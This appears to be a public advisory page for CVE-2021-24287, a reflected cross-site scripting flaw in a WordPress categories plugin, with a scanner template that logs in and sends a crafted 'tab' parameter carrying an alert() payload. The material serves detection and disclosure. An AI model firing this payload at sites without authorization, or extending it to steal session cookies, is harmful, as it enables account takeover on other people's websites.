CVE-2021-24287: WordPress Select All Categories and Taxonomies <1.3.2 - Cross-Site Scripting

2025-08-01 WordPress PoC Public

Description

WordPress Select All Categories and Taxonomies plugin before 1.3.2 contains a cross-site scripting vulnerability. The settings page of the plugin does not properly sanitize the tab parameter before outputting it back. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: CVE-2021-24287

info:
  name: WordPress Select All Categories and Taxonomies <1.3.2 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    WordPress Select All Categories and Taxonomies plugin before 1.3.2 contains a cross-site scripting vulnerability. The settings page of the plugin does not properly sanitize the tab parameter before outputting it back. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: Fixed in version 1.3.2.
  reference:
    - https://www.exploit-db.com/exploits/50349
    - https://wpscan.com/vulnerability/56e1bb56-bfc5-40dd-b2d0-edef43d89bdf
    - https://wordpress.org/plugins/select-all-categories-and-taxonomies-change-checkbox-to-radio-buttons/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24287
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24287
    cwe-id: CWE-79
    epss-score: 0.10358
    epss-percentile: 0.95477
    cpe: cpe:2.3:a:mooveagency:select_all_categories_and_taxonomies\,_change_checkbox_to_radio_buttons:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: mooveagency
    product: select_all_categories_and_taxonomies\,_change_checkbox_to_radio_buttons
    framework: wordpress
  tags: cve2021,cve,wp,select-all-categories,taxonomies-change-checkbox-to-radio-buttons,authenticated,wpscan,xss,wp-plugin,wordpress,edb,mooveagency,vuln

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In
      - |
        GET /wp-admin/options-general.php?page=moove-taxonomy-settings&tab="+style=animation-name:rotation+onanimationstart="alert(document.domain); HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code_2 == 200'
          - 'contains(body_2, "alert(document.domain)")'
          - 'contains(body_2, "Set up the taxonomies")'
        condition: and
# digest: 4a0a004730450220432e9bbe2429b59c99b171ac41cca387bd82fd1f2e7c1bb6e6c21a581232d61e022100d0d54832b4c75ad5ee2acb3e8a006b2a42a43d2c9afc49c32341c3471a042018:922c64590222798bb761d5b6d8e72950

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References

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